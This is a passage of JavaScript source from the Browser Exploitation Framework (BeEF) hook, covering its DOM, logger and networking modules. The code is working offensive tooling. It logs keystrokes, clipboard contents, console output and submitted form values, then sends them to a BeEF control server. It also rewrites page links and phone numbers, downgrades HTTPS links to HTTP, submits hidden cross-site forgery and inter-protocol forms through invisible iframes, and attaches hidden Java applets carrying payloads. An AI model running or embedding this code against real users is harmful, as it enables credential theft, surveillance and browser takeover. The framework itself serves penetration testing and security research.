6905 var pageWidth = document.body.scrollWidth+'px';
6906 var pageHeight = document.body.scrollHeight+'px';
6907 } else if( document.body.offsetWidth ) {
6908 var pageWidth = document.body.offsetWidth+'px';
6909 var pageHeight = document.body.offsetHeight+'px';
6910 } else {
6911 var pageWidth='100%';
6912 var pageHeight='100%';
6913 }
6914 //set the shader to cover the entire page and make it visible.
6915 dark.style.opacity=opaque;
6916 dark.style.MozOpacity=opaque;
6917 dark.style.filter='alpha(opacity='+opacity+')';
6918 dark.style.zIndex=zindex;
6919 dark.style.backgroundColor=bgcolor;
6920 dark.style.width= pageWidth;
6921 dark.style.height= pageHeight;
6922 dark.style.display='block';
6923 } else {
6924 dark.style.display='none';
6925 }
6926 },
6927
6928 /**
6929 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
6930 * or, re-writing a document this is useful.
6931 */
6932 removeStylesheets: function() {
6933 $j('link[rel=stylesheet]').remove();
6934 $j('style').remove();
6935 },
6936
6937 /**
6938 * Create a form element with the specified parameters, appending it to the DOM if append == true
6939 * @param: {Hash} params: params to be applied to the form element
6940 * @param: {Boolean} append: automatically append the form to the body
6941 * @return: {Object} a form object
6942 */
6943 createForm: function(params, append) {
6944 var form = $j('<form></form>').attr(params);
6945 if (append)
6946 $j('body').append(form);
6947 return form;
6948 },
6949
6950 /**
6951 * Get the location of the current page.
6952 * @return: the location.
6953 */
6954 getLocation: function() {
6955 return document.location.href;
6956 },
6957
6958 /**
6959 * Get links of the current page.
6960 * @return: array of URLs.
6961 */
6962 getLinks: function() {
6963 var linksarray = [];
6964 var links = document.links;
6965 for(var i = 0; i<links.length; i++) {
6966 linksarray = linksarray.concat(links[i].href)
6967 };
6968 return linksarray
6969 },
6970
6971 /**
6972 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
6973 * @param: {String} url: the url to be rewritten
6974 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
6975 * @return: {Number} the amount of links found in the DOM and rewritten.
6976 */
6977 rewriteLinks: function(url, selector) {
6978 var sel = (selector == null) ? 'a' : selector;
6979 return $j(sel).each(function() {
6980 if ($j(this).attr('href') != null)
6981 {
6982 $j(this).attr('href', url).click(function() { return true; });
6983 }
6984 }).length;
6985 },
6986
6987 /**
6988 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
6989 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
6990 * @param: {String} url: the url to be rewritten
6991 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
6992 * @return: {Number} the amount of links found in the DOM and rewritten.
6993 */
6994 rewriteLinksClickEvents: function(url, selector) {
6995 var sel = (selector == null) ? 'a' : selector;
6996 return $j(sel).each(function() {
6997 if ($j(this).attr('href') != null)
6998 {
6999 $j(this).click(function() {this.href=url});
7000 }
7001 }).length;
7002 },
7003
7004 /**
7005 * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
7006 * @param: {String} old_protocol: the old link protocol to be rewritten
7007 * @param: {String} new_protocol: the new link protocol to be written
7008 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7009 * @return: {Number} the amount of links found in the DOM and rewritten.
7010 */
7011 rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
7012
7013 var count = 0;
7014 var re = new RegExp(old_protocol+"://", "gi");
7015 var sel = (selector == null) ? 'a' : selector;
7016
7017 $j(sel).each(function() {
7018 if ($j(this).attr('href') != null) {
7019 var url = $j(this).attr('href');
7020 if (url.match(re)) {
7021 $j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
7022 count++;
7023 }
7024 }
7025 });
7026
7027 return count;
7028 },
7029
7030 /**
7031 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
7032 * @param: {String} new_number: the new link telephone number to be written
7033 * @param: {String} selector: the jquery selector statement to use, defaults to all a tags.
7034 * @return: {Number} the amount of links found in the DOM and rewritten.
7035 */
7036 rewriteTelLinks: function(new_number, selector) {
7037
7038 var count = 0;
7039 var re = new RegExp("tel:/?/?.*", "gi");
7040 var sel = (selector == null) ? 'a' : selector;
7041
7042 $j(sel).each(function() {
7043 if ($j(this).attr('href') != null) {
7044 var url = $j(this).attr('href');
7045 if (url.match(re)) {
7046 $j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
7047 count++;
7048 }
7049 }
7050 });
7051
7052 return count;
7053 },
7054
7055 /**
7056 * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
7057 * @params: {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
7058 * @return: {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
7059 */
7060 parseAppletParams: function(params){
7061 var result = '';
7062 for (i in params){
7063 var param = params[i];
7064 for(key in param){
7065 result += "<param name='" + key + "' value='" + param[key] + "' />";
7066 }
7067 }
7068 return result;
7069 },
7070
7071 /**
7072 * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
7073 * example usage in the code, using a JAR archive (recommended and faster):
7074 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
7075 * example usage in the code, using codebase:
7076 * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
7077 * @params: {String} id: reference identifier to the applet.
7078 * @params: {String} code: name of the class to be loaded. For example, beef.class.
7079 * @params: {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
7080 * @params: {String} archive: the jar that contains the code.
7081 * @params: {String} params: an array of additional params that the applet except.
7082 */
7083 attachApplet: function(id, name, code, codebase, archive, params) {
7084 var content = null;
7085 if (beef.browser.isIE()) {
7086 content = "" + // the classid means 'use the latest JRE available to launch the applet'
7087 "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
7088 "height='0' width='0' name='" + name + "'> " +
7089 "<param name='code' value='" + code + "' />";
7090
7091 if (codebase != null) {
7092 content += "<param name='codebase' value='" + codebase + "' />"
7093 }
7094 if (archive != null){
7095 content += "<param name='archive' value='" + archive + "' />";
7096 }
7097 if (params != null) {
7098 content += beef.dom.parseAppletParams(params);
7099 }
7100 content += "</object>";
7101 }
7102 if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
7103
7104 if (codebase != null) {
7105 content = "" +
7106 "<applet id='" + id + "' code='" + code + "' " +
7107 "codebase='" + codebase + "' " +
7108 "height='0' width='0' name='" + name + "'>";
7109 } else {
7110 content = "" +
7111 "<applet id='" + id + "' code='" + code + "' " +
7112 "archive='" + archive + "' " +
7113 "height='0' width='0' name='" + name + "'>";
7114 }
7115
7116 if (params != null) {
7117 content += beef.dom.parseAppletParams(params);
7118 }
7119 content += "</applet>";
7120 }
7121 // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
7122// if (beef.browser.isFF()) {
7123// if (codebase != null) {
7124// content = "" +
7125// "<embed id='" + id + "' code='" + code + "' " +
7126// "type='application/x-java-applet' codebase='" + codebase + "' " +
7127// "height='0' width='0' name='" + name + "'>";
7128// } else {
7129// content = "" +
7130// "<embed id='" + id + "' code='" + code + "' " +
7131// "type='application/x-java-applet' archive='" + archive + "' " +
7132// "height='0' width='0' name='" + name + "'>";
7133// }
7134//
7135// if (params != null) {
7136// content += beef.dom.parseAppletParams(params);
7137// }
7138// content += "</embed>";
7139// }
7140 $j('body').append(content);
7141 },
7142
7143 /**
7144 * Given an id, remove the applet from the DOM.
7145 * @params: {String} id: reference identifier to the applet.
7146 */
7147 detachApplet: function(id) {
7148 $j('#' + id + '').detach();
7149 },
7150
7151 /**
7152 * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
7153 * @params: {String} action: the form action attribute, where the request will be sent.
7154 * @params: {String} method: HTTP method, usually POST.
7155 * @params: {String} enctype: form encoding type
7156 * @params: {Array} inputs: an array of inputs to be added to the form (type, name, value).
7157 * example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
7158 */
7159 createIframeXsrfForm: function(action, method, enctype, inputs){
7160 var iframeXsrf = beef.dom.createInvisibleIframe();
7161
7162 var formXsrf = document.createElement('form');
7163 formXsrf.setAttribute('action', action);
7164 formXsrf.setAttribute('method', method);
7165 formXsrf.setAttribute('enctype', enctype);
7166
7167 var input = null;
7168 for (i in inputs){
7169 var attributes = inputs[i];
7170 input = document.createElement('input');
7171 for(key in attributes){
7172 if (key == 'name' && attributes[key] == 'submit') {
7173 // workaround for https://github.com/beefproject/beef/issues/1117
7174 beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
7175 input.setAttribute('Submit', attributes[key]);
7176 } else {
7177 input.setAttribute(key, attributes[key]);
7178 }
7179 }
7180 formXsrf.appendChild(input);
7181 }
7182 iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
7183 formXsrf.submit();
7184
7185 return iframeXsrf;
7186 },
7187
7188 /**
7189 * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
7190 * @params: {String} rhost: remote host ip/domain
7191 * @params: {String} rport: remote port
7192 * @params: {String} commands: protocol commands to be executed by the remote host:port service
7193 */
7194 createIframeIpecForm: function(rhost, rport, path, commands){
7195 var iframeIpec = beef.dom.createInvisibleIframe();
7196
7197 var formIpec = document.createElement('form');
7198 formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
7199 formIpec.setAttribute('method', 'POST');
7200 formIpec.setAttribute('enctype', 'multipart/form-data');
7201
7202 input = document.createElement('textarea');
7203 input.setAttribute('name', Math.random().toString(36).substring(5));
7204 input.value = commands;
7205 formIpec.appendChild(input);
7206 iframeIpec.contentWindow.document.body.appendChild(formIpec);
7207 formIpec.submit();
7208
7209 return iframeIpec;
7210 }
7211
7212};
7213
7214beef.regCmp('beef.dom');
7215
7216
7217//
7218// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
7219// Browser Exploitation Framework (BeEF) - http://beefproject.com
7220// See the file 'doc/COPYING' for copying permission
7221//
7222
7223/*!
7224 * @literal object: beef.logger
7225 *
7226 * Provides logging capabilities.
7227 */
7228beef.logger = {
7229
7230 running: false,
7231 /**
7232 * Internal logger id
7233 */
7234 id: 0,
7235 /**
7236 * Holds events created by user, to be sent back to BeEF
7237 */
7238 events: [],
7239 /**
7240 * Holds current stream of key presses
7241 */
7242 stream: [],
7243 /**
7244 * Contains current target of key presses
7245 */
7246 target: null,
7247 /**
7248 * Holds the time the logger was started
7249 */
7250 time: null,
7251 /**
7252 * Holds the event details to be sent to BeEF
7253 */
7254 e: function() {
7255 this.id = beef.logger.get_id();
7256 this.time = beef.logger.get_timestamp();
7257 this.type = null;
7258 this.x = 0;
7259 this.y = 0;
7260 this.target = null;
7261 this.data = null;
7262 this.mods = null;
7263 },
7264 /**
7265 * Prevents from recursive event handling on form submission
7266 */
7267 in_submit: false,
7268
7269 /**
7270 * Starts the logger
7271 */
7272 start: function() {
7273
7274 beef.browser.hookChildFrames();
7275 this.running = true;
7276 var d = new Date();
7277 this.time = d.getTime();
7278
7279 $j(document).off('keypress');
7280 $j(document).off('click');
7281 $j(window).off('focus');
7282 $j(window).off('blur');
7283 $j('form').off('submit');
7284 $j(document.body).off('copy');
7285 $j(document.body).off('cut');
7286 $j(document.body).off('paste');
7287
7288 if (!!window.console && typeof window.console == "object") {
7289 try {
7290 var oldInfo = window.console.info;
7291 console.info = function (message) {
7292 beef.logger.console('info', message);
7293 oldInfo.apply(console, arguments);
7294 };
7295 var oldLog = window.console.log;
7296 console.log = function (message) {
7297 beef.logger.console('log', message);
7298 oldLog.apply(console, arguments);
7299 };
7300 var oldWarn = window.console.warn;
7301 console.warn = function (message) {
7302 beef.logger.console('warn', message);
7303 oldWarn.apply(console, arguments);
7304 };
7305 var oldDebug = window.console.debug;
7306 console.debug = function (message) {
7307 beef.logger.console('debug', message);
7308 oldDebug.apply(console, arguments);
7309 };
7310 var oldError = window.console.error;
7311 console.error = function (message) {
7312 beef.logger.console('error', message);
7313 oldError.apply(console, arguments);
7314 };
7315 } catch(e) {}
7316 }
7317
7318 $j(document).keypress(
7319 function(e) { beef.logger.keypress(e); }
7320 ).click(
7321 function(e) { beef.logger.click(e); }
7322 );
7323 $j(window).focus(
7324 function(e) { beef.logger.win_focus(e); }
7325 ).blur(
7326 function(e) { beef.logger.win_blur(e); }
7327 );
7328 $j('form').submit(
7329 function(e) {
7330 beef.logger.submit(e);
7331 }
7332 );
7333 $j(document.body).on('copy', function() {
7334 setTimeout("beef.logger.copy();", 10);
7335 });
7336 $j(document.body).on('cut', function() {
7337 setTimeout("beef.logger.cut();", 10);
7338 });
7339 $j(document.body).on('paste', function() {
7340 beef.logger.paste();
7341 });
7342 },
7343
7344 /**
7345 * Stops the logger
7346 */
7347 stop: function() {
7348 this.running = false;
7349 clearInterval(this.timer);
7350 $j(document).off('keypress');
7351 $j(document).off('click');
7352 $j(window).off('focus');
7353 $j(window).off('blur');
7354 $j('form').off('submit');
7355 $j(document.body).off('copy');
7356 $j(document.body).off('cut');
7357 $j(document.body).off('paste');
7358 // TODO: reset console
7359 },
7360
7361 /**
7362 * Get id
7363 */
7364 get_id: function() {
7365 this.id++;
7366 return this.id;
7367 },
7368
7369 /**
7370 * Click function fires when the user clicks the mouse.
7371 */
7372 click: function(e) {
7373 var c = new beef.logger.e();
7374 c.type = 'click';
7375 c.x = e.pageX;
7376 c.y = e.pageY;
7377 c.target = beef.logger.get_dom_identifier(e.target);
7378 this.events.push(c);
7379 },
7380
7381 /**
7382 * Fires when the window element has regained focus
7383 */
7384 win_focus: function(e) {
7385 var f = new beef.logger.e();
7386 f.type = 'focus';
7387 this.events.push(f);
7388 },
7389
7390 /**
7391 * Fires when the window element has lost focus
7392 */
7393 win_blur: function(e) {
7394 var b = new beef.logger.e();
7395 b.type = 'blur';
7396 this.events.push(b);
7397 },
7398
7399 /**
7400 * Keypress function fires everytime a key is pressed.
7401 * @param {Object} e: event object
7402 */
7403 keypress: function(e) {
7404 if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
7405 {
7406 beef.logger.push_stream();
7407 this.target = e.target;
7408 }
7409 this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey, 'shift':e.shiftKey}});
7410 },
7411
7412 /**
7413 * Copy function fires when the user copies data to the clipboard.
7414 */
7415 copy: function(x) {
7416 try {
7417 var c = new beef.logger.e();
7418 c.type = 'copy';
7419 c.data = clipboardData.getData("Text");
7420 this.events.push(c);
7421 } catch(e) {}
7422 },
7423
7424 /**
7425 * Cut function fires when the user cuts data to the clipboard.
7426 */
7427 cut: function() {
7428 try {
7429 var c = new beef.logger.e();
7430 c.type = 'cut';
7431 c.data = clipboardData.getData("Text");
7432 this.events.push(c);
7433 } catch(e) {}
7434 },
7435
7436 /**
7437 * Console function fires when data is sent to the browser console.
7438 */
7439 console: function(type, message) {
7440 try {
7441 var c = new beef.logger.e();
7442 c.type = 'console';
7443 c.data = type + ': ' + message;
7444 this.events.push(c);
7445 } catch(e) {}
7446 },
7447
7448 /**
7449 * Paste function fires when the user pastes data from the clipboard.
7450 */
7451 paste: function() {
7452 try {
7453 var c = new beef.logger.e();
7454 c.type = 'paste';
7455 c.data = clipboardData.getData("Text");
7456 this.events.push(c);
7457 } catch(e) {}
7458 },
7459
7460 /**
7461 * Submit function fires whenever a form is submitted
7462 * TODO: Cleanup this function
7463 */
7464 submit: function(e) {
7465 if (beef.logger.in_submit) {
7466 return true;
7467 }
7468 try {
7469 var f = new beef.logger.e();
7470 f.type = 'submit';
7471 f.target = beef.logger.get_dom_identifier(e.target);
7472 var jqForms = $j(e.target);
7473 var values = jqForms.find('input').map(function() {
7474 var inp = $j(this);
7475 return inp.attr('name') + '=' + inp.val();
7476 }).get().join();
7477 beef.debug('submitting form inputs: ' + values);
7478 /*
7479 for (var i = 0; i < e.target.elements.length; i++) {
7480 values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
7481 }
7482 */
7483 f.data = 'Action: '+jqForms.attr('action')+' - Method: '+$j(e.target).attr('method') + ' - Values:\n'+values;
7484 this.events.push(f);
7485 this.queue();
7486 this.target = null;
7487 beef.net.flush(function done() {
7488 beef.debug("Submitting the form");
7489 beef.logger.in_submit = true;
7490 jqForms.submit();
7491 beef.logger.in_submit = false;
7492 beef.debug("Done submitting");
7493 });
7494 e.preventDefault();
7495 return false;
7496 } catch(e) {}
7497 },
7498
7499 /**
7500 * Pushes the current stream to the events queue
7501 */
7502 push_stream: function() {
7503 if (this.stream.length > 0)
7504 {
7505 this.events.push(beef.logger.parse_stream());
7506 this.stream = [];
7507 }
7508 },
7509
7510 /**
7511 * Translate DOM Object to a readable string
7512 */
7513 get_dom_identifier: function(target) {
7514 target = (target == null) ? this.target : target;
7515 var id = '';
7516 if (target)
7517 {
7518 id = target.tagName.toLowerCase();
7519 id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
7520 id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
7521 }
7522 return id;
7523 },
7524
7525 /**
7526 * Formats the timestamp
7527 * @return {String} timestamp string
7528 */
7529 get_timestamp: function() {
7530 var d = new Date();
7531 return ((d.getTime() - this.time) / 1000).toFixed(3);
7532 },
7533
7534 /**
7535 * Parses stream array and creates history string
7536 */
7537 parse_stream: function() {
7538 var s = '';
7539 var mods = '';
7540 for (var i in this.stream){
7541 try{
7542 var mod = this.stream[i]['modifiers'];
7543 s += String.fromCharCode(this.stream[i]['char']);
7544 if(typeof mod != 'undefined' &&
7545 (mod['alt'] == true ||
7546 mod['ctrl'] == true ||
7547 mod['shift'] == true)){
7548 mods += (mod['alt']) ? ' [Alt] ' : '';
7549 mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
7550 mods += (mod['shift']) ? ' [Shift] ' : '';
7551 mods += String.fromCharCode(this.stream[i]['char']);
7552 }
7553
7554 }catch(e){}
7555 }
7556 var k = new beef.logger.e();
7557 k.type = 'keys';
7558 k.target = beef.logger.get_dom_identifier();
7559 k.data = s;
7560 k.mods = mods;
7561 return k;
7562 },
7563
7564 /**
7565 * Queue results to be sent back to framework
7566 */
7567 queue: function() {
7568 beef.logger.push_stream();
7569 if (this.events.length > 0)
7570 {
7571 beef.net.queue('/event', 0, this.events);
7572 this.events = [];
7573 }
7574 }
7575
7576};
7577
7578beef.regCmp('beef.logger');
7579
7580
7581//
7582// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
7583// Browser Exploitation Framework (BeEF) - http://beefproject.com
7584// See the file 'doc/COPYING' for copying permission
7585//
7586
7587/*!
7588 * @literal object: beef.net
7589 *
7590 * Provides basic networking functions,
7591 * like beef.net.request and beef.net.forgeRequest,
7592 * used by BeEF command modules and the Requester extension,
7593 * as well as beef.net.send which is used to return commands
7594 * to BeEF server-side components.
7595 *
7596 * Also, it contains the core methods used by the XHR-polling
7597 * mechanism (flush, queue)
7598 */
7599beef.net = {
7600
7601 host: "127.0.0.1",
7602 port: "3000",
7603 hook: "/hook.js",
7604 httpproto: "http",
7605 handler: '/dh',
7606 chop: 500,
7607 pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
7608 sid_count: 0,
7609 cmd_queue: [],
7610
7611 /**
7612 * Command object. This represents the data to be sent back to BeEF,
7613 * using the beef.net.send() method.
7614 */
7615 command: function () {
7616 this.cid = null;
7617 this.results = null;
7618 this.status = null;
7619 this.handler = null;
7620 this.callback = null;
7621 },
7622
7623 /**
7624 * Packet object. A single chunk of data. X packets -> 1 stream
7625 */
7626 packet: function () {
7627 this.id = null;
7628 this.data = null;
7629 },
7630
7631 /**
7632 * Stream object. Contains X packets, which are command result chunks.
7633 */
7634 stream: function () {
7635 this.id = null;
7636 this.packets = [];
7637 this.pc = 0;
7638 this.get_base_url_length = function () {
7639 return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
7640 };
7641 this.get_packet_data = function () {
7642 var p = this.packets.shift();
7643 return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
7644 };
7645 },
7646
7647 /**
7648 * Response Object - used in the beef.net.request callback
7649 * NOTE: as we are using async mode, the response object will be empty if returned.
7650 * Using sync mode, request obj fields will be populated.
7651 */
7652 response: function () {
7653 this.status_code = null; // 500, 404, 200, 302
7654 this.status_text = null; // success, timeout, error, ...
7655 this.response_body = null; // "<html>…." if not a cross-origin request
7656 this.port_status = null; // tcp port is open, closed or not http
7657 this.was_cross_domain = null; // true or false
7658 this.was_timedout = null; // the user specified timeout was reached
7659 this.duration = null; // how long it took for the request to complete
7660 this.headers = null; // full response headers
7661 },
7662
7663 /**
7664 * Queues the specified command results.
7665 * @param: {String} handler: the server-side handler that will be called
7666 * @param: {Integer} cid: command id
7667 * @param: {String} results: the data to send
7668 * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
7669 * @param: {Function} callback: the function to call after execution
7670 */
7671 queue: function (handler, cid, results, status, callback) {
7672 if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
7673 var s = new beef.net.command();
7674 s.cid = cid;
7675 s.results = beef.net.clean(results);
7676 s.status = status;
7677 s.callback = callback;
7678 s.handler = handler;
7679 this.cmd_queue.push(s);
7680 }
7681 },
7682
7683 /**
7684 * Queues the current command results and flushes the queue straight away.
7685 * NOTE: Always send Browser Fingerprinting results
7686 * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
7687 * even if WebSockets are enabled.
7688 * @param: {String} handler: the server-side handler that will be called
7689 * @param: {Integer} cid: command id
7690 * @param: {String} results: the data to send
7691 * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
7692 * @param: {Function} callback: the function to call after execution
7693 * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is null)
7694 */
7695 send: function (handler, cid, results, exec_status, callback) {
7696 // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
7697 var status = 0;
7698 if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
7699
7700 if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
7701 this.queue(handler, cid, results, status, callback);
7702 this.flush();
7703 } else {
7704 try {
7705 beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
7706 '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
7707 '", "status": "' + exec_status +
7708 '", "callback": "' + callback +
7709 '","bh":"' + beef.session.get_hook_session_id() + '" }');
7710 } catch (e) {
7711 this.queue(handler, cid, results, status, callback);
7712 this.flush();
7713 }
7714 }
7715
7716 return status;
7717 },
7718
7719 /**
7720 * Flush all currently queued command results to the framework,
7721 * chopping the data in chunks ('chunk' method) which will be re-assembled
7722 * server-side by the network stack.
7723 * NOTE: currently 'flush' is used only with the default
7724 * XHR-polling mechanism. If WebSockets are used, the data is sent
7725 * back to BeEF straight away.
7726 */
7727 flush: function (callback) {
7728 if (this.cmd_queue.length > 0) {
7729 var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
7730 this.cmd_queue.length = 0;
7731 this.sid_count++;
7732 var stream = new this.stream();
7733 stream.id = this.sid_count;
7734 var pad = stream.get_base_url_length() + this.pad;
7735 //cant continue if chop amount is too low
7736 if ((this.chop - pad) > 0) {
7737 var data = this.chunk(data, (this.chop - pad));
7738 for (var i = 1; i <= data.length; i++) {
7739 var packet = new this.packet();
7740 packet.id = i;
7741 packet.data = data[(i - 1)];
7742 stream.packets.push(packet);
7743 }
7744 stream.pc = stream.packets.length;
7745 this.push(stream, callback);
7746 }
7747 } else {
7748 if ((typeof callback != 'undefined') && (callback != null)) {
7749 callback();
7750 }
7751 }
7752 },
7753
7754 /**
7755 * Split the input data into chunk lengths determined by the amount parameter.
7756 * @param: {String} str: the input data
7757 * @param: {Integer} amount: chunk length
7758 */
7759 chunk: function (str, amount) {
7760 if (typeof amount == 'undefined') n = 2;
7761 return str.match(RegExp('.{1,' + amount + '}', 'g'));
7762 },
7763
7764 /**
7765 * Push the input stream back to the BeEF server-side components.
7766 * It uses beef.net.request to send back the data.
7767 * @param: {Object} stream: the stream object to be sent back.
7768 */
7769 push: function (stream, callback) {
7770 //need to implement wait feature here eventually
7771 if (typeof callback === 'undefined') {
7772 callback = null;
7773 }
7774 for (var i = 0; i < stream.pc; i++) {
7775 var cb = null;
7776 if (i == (stream.pc - 1)) {
7777 cb = callback;
7778 }
7779 this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null,
7780 stream.get_packet_data(), 10, 'text', cb);
7781 }
7782 },
7783
7784 /**
7785 * Performs http requests
7786 * @param: {String} scheme: HTTP or HTTPS
7787 * @param: {String} method: GET or POST
7788 * @param: {String} domain: bindshell.net, 192.168.3.4, etc
7789 * @param: {Int} port: 80, 5900, etc
7790 * @param: {String} path: /path/to/resource
7791 * @param: {String} anchor: this is the value that comes after the # in the URL
7792 * @param: {String} data: This will be used as the query string for a GET or post data for a POST
7793 * @param: {Int} timeout: timeout the request after N seconds
7794 * @param: {String} dataType: specify the data return type expected (ie text/html/script)
7795 * @param: {Function} callback: call the callback function at the completion of the method
7796 *
7797 * @return: {Object} response: this object contains the response details
7798 */
7799 request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
7800 //check if same domain or cross domain
7801 var cross_domain = true;
7802 if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
7803 if (document.location.port == "" || document.location.port == null) {
7804 cross_domain = !(port == "80" || port == "443");
7805 }
7806 }
7807
7808 //build the url
7809 var url = "";
7810 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
7811 url = path;
7812 } else {
7813 url = scheme + "://" + domain;
7814 url = (port != null) ? url + ":" + port : url;
7815 url = (path != null) ? url + path : url;
7816 url = (anchor != null) ? url + "#" + anchor : url;
7817 }
7818
7819 //define response object
7820 var response = new this.response;
7821 response.was_cross_domain = cross_domain;
7822 var start_time = new Date().getTime();
7823
7824 /*
7825 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
7826 * This will turn POSTs into GETs for remote-domain requests.
7827 */
7828 if (method == "POST") {
7829 $j.ajaxSetup({
7830 dataType: dataType
7831 });
7832 } else {
7833 $j.ajaxSetup({
7834 dataType: 'script'
7835 });
7836 }
7837
7838 //build and execute the request
7839 $j.ajax({type: method,
7840 url: url,
7841 data: data,
7842 timeout: (timeout * 1000),
7843
7844 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
7845 beforeSend: function (xhr) {
7846 if (method == "POST") {
7847 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
7848 }
7849 },
7850 success: function (data, textStatus, xhr) {
7851 var end_time = new Date().getTime();
7852 response.status_code = xhr.status;
7853 response.status_text = textStatus;
7854 response.response_body = data;
7855 response.port_status = "open";
7856 response.was_timedout = false;
7857 response.duration = (end_time - start_time);
7858 },
7859 error: function (jqXHR, textStatus, errorThrown) {
7860 var end_time = new Date().getTime();
7861 response.response_body = jqXHR.responseText;
7862 response.status_code = jqXHR.status;
7863 response.status_text = textStatus;
7864 response.duration = (end_time - start_time);
7865 response.port_status = "open";
7866 },
7867 complete: function (jqXHR, textStatus) {
7868 response.status_code = jqXHR.status;
7869 response.status_text = textStatus;
7870 response.headers = jqXHR.getAllResponseHeaders();
7871 // determine if TCP port is open/closed/not-http
7872 if (textStatus == "timeout") {
7873 response.was_timedout = true;
7874 response.response_body = "ERROR: Timed out\n";
7875 response.port_status = "closed";
7876 } else if (textStatus == "parsererror") {
7877 response.port_status = "not-http";
7878 } else {
7879 response.port_status = "open";
7880 }
7881 }
7882 }).always(function () {
7883 if (callback != null) {
7884 callback(response);
7885 }
7886 });
7887 return response;
7888 },
7889
7890 /*
7891 * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
7892 * - requestid: needed on the callback
7893 * - allowCrossDomain: set cross-domain requests as allowed or blocked
7894 *
7895 * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
7896 * Example usage:
7897 * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
7898 * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
7899 * alert(response.response_body)})
7900 */
7901 forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
7902
7903 if (domain == "undefined" || path == "undefined") {
7904 beef.debug("[beef.net.forge_request] Error: Malformed request. No host specified.");
7905 return;
7906 }
7907
7908 // check if same domain or cross domain
7909 var cross_domain = true;
7910 if (document.domain == domain && document.location.protocol == scheme + ':') {
7911 if (document.location.port == "" || document.location.port == null) {
7912 cross_domain = !(port == "80" || port == "443");
7913 } else {
7914 if (document.location.port == port) cross_domain = false;
7915 }
7916 }
7917
7918 // build the url
7919 var url = "";
7920 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
7921 url = path;
7922 } else {
7923 url = scheme + "://" + domain;
7924 url = (port != null) ? url + ":" + port : url;
7925 url = (path != null) ? url + path : url;
7926 url = (anchor != null) ? url + "#" + anchor : url;
7927 }
7928
7929 // define response object
7930 var response = new this.response;
7931 response.was_cross_domain = cross_domain;
7932 var start_time = new Date().getTime();
7933
7934 // if cross-domain requests are not allowed and the request is cross-domain
7935 // don't proceed and return
7936 if (allowCrossDomain == "false" && cross_domain) {
